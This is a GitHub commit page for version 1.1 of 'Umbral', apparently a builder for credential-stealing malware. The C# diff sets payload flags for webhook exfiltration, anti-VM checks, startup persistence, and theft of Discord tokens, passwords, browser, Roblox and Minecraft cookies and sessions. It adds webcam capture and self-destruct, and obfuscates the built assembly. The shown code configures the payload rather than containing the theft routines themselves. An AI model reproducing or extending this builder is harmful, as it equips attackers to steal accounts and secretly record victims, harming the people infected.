Skip to content
This repository has been archived by the owner on Mar 2, 2024. It is now read-only.

Commit

Permalink
Update v1.1
Browse files Browse the repository at this point in the history
- Added webcam capture
- Added self destruct
  • Loading branch information
Blank-c committed Apr 12, 2023
1 parent bd01e03 commit 18de429
Show file tree
Hide file tree
Showing 15 changed files with 2,792 additions and 252 deletions.
20 changes: 15 additions & 5 deletions Umbral.builder/Build/Builder.cs
Original file line number Diff line number Diff line change
Expand Up @@ -28,22 +28,24 @@ public struct AssemblyInfo

public class Builder
{
private const string Version = "v1.0";
private const string Version = "v1.1";
private const string PayloadFile = "Umbral.payload";

public string Output;
public string Webhook;
public string IconPath;

public bool Ping;
public bool VmProtect;
public bool AntiVm;
public bool Startup;
public bool StealTokens;
public bool StealPasswords;
public bool StealCookies;
public bool StealRobloxCookies;
public bool StealMinecraftSession;
public bool CaptureScreenshot;
public bool SelfDestruct;
public bool CaptureWebcam;

public AssemblyInfo AssemblyInformation;

Expand Down Expand Up @@ -108,9 +110,9 @@ public bool Build(TextBox textBox)
instruction.OpCode = OpCodes.Ldc_I4;
instruction.Operand = Ping ? 1 : 0;
break;
case 2: // vmProtect
case 2: // antiVm
instruction.OpCode = OpCodes.Ldc_I4;
instruction.Operand = VmProtect ? 1 : 0;
instruction.Operand = AntiVm ? 1 : 0;
break;
case 3: // startup
instruction.OpCode = OpCodes.Ldc_I4;
Expand Down Expand Up @@ -140,13 +142,21 @@ public bool Build(TextBox textBox)
instruction.OpCode = OpCodes.Ldc_I4;
instruction.Operand = CaptureScreenshot ? 1 : 0;
break;
case 10: // deleteSelf
instruction.OpCode = OpCodes.Ldc_I4;
instruction.Operand = SelfDestruct ? 1 : 0;
break;
case 11: // captureWebcam
instruction.OpCode = OpCodes.Ldc_I4;
instruction.Operand = CaptureWebcam ? 1 : 0;
break;
}
}
}

Renamer renamer = new Renamer(assembly);
if (!renamer.Perform())
textBox.AppendText("\r\nRenaming Failed!");
textBox.AppendText("\r\nObfuscation Failed!");
assembly.Write(tempFile);

#endregion
Expand Down
92 changes: 17 additions & 75 deletions Umbral.builder/MainForm.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

Loading

0 comments on commit 18de429

Please sign in to comment.